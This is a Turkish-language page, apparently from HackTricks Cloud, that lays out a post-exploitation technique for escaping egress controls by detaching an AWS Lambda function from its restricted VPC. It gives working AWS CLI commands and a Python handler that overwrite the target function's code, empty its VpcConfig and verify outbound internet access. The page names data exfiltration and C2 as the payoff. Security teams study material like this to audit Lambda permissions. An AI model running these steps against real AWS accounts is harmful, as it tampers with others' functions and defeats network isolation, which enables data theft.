AWS Lambda – VpcConfig’i Ayırarak VPC Egress Bypass
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Bir Lambda fonksiyonunu, VpcConfig’i boş (SubnetIds=[], SecurityGroupIds=[]) olarak güncelleyerek kısıtlı bir VPC’den çıkarmaya zorlayın. Fonksiyon daha sonra Lambda tarafından yönetilen ağ düzleminde çalışır, böylece giden internet erişimini yeniden kazanır ve NAT olmayan özel VPC alt ağları tarafından uygulanan egress kontrollerini atlatır.
Kötüye kullanımı
- Önkoşullar: hedef fonksiyon üzerinde lambda:UpdateFunctionConfiguration (doğrulamak için lambda:InvokeFunction da), ayrıca kod/handler değiştirilecekse bunları güncelleme izinleri.
- Varsayımlar: Fonksiyon şu anda NAT olmayan özel alt ağlara işaret eden VpcConfig ile yapılandırılmıştır (bu yüzden giden internet engellenmiştir).
- Bölge: us-east-1
Adımlar
- Giden HTTP’nin çalıştığını kanıtlayan minimal bir handler hazırlayın
cat > net.py <<‘PY’ import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true
- Mevcut VPC konfigürasyonunu kaydedin (gerekirse sonra geri yüklemek için)
aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Boş listeler ayarlayarak VPC’yi ayırın
aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION
until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done
- Çağırın ve giden erişimi doğrulayın
aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json
(Optional) Orijinal VPC konfigürasyonunu geri yükleyin
if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi
Etki
- Fonksiyonun kısıtlanmamış giden internet erişimini geri kazanır; bu, bilerek NAT olmayan özel alt ağlarda izole edilmiş iş yüklerinden veri sızdırma veya C2’ye izin verir.
Örnek çıktı (VpcConfig ayrıldıktan sonra)
{“egress”: true, “ip”: “34.x.x.x”}
Temizlik
- Geçici kod/handler değişiklikleri oluşturduysanız, bunları geri yükleyin.
- İsteğe bağlı olarak yukarıda gösterildiği gibi /tmp/orig-vpc.json’de kaydedilmiş orijinal VpcConfig’i geri yükleyin.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

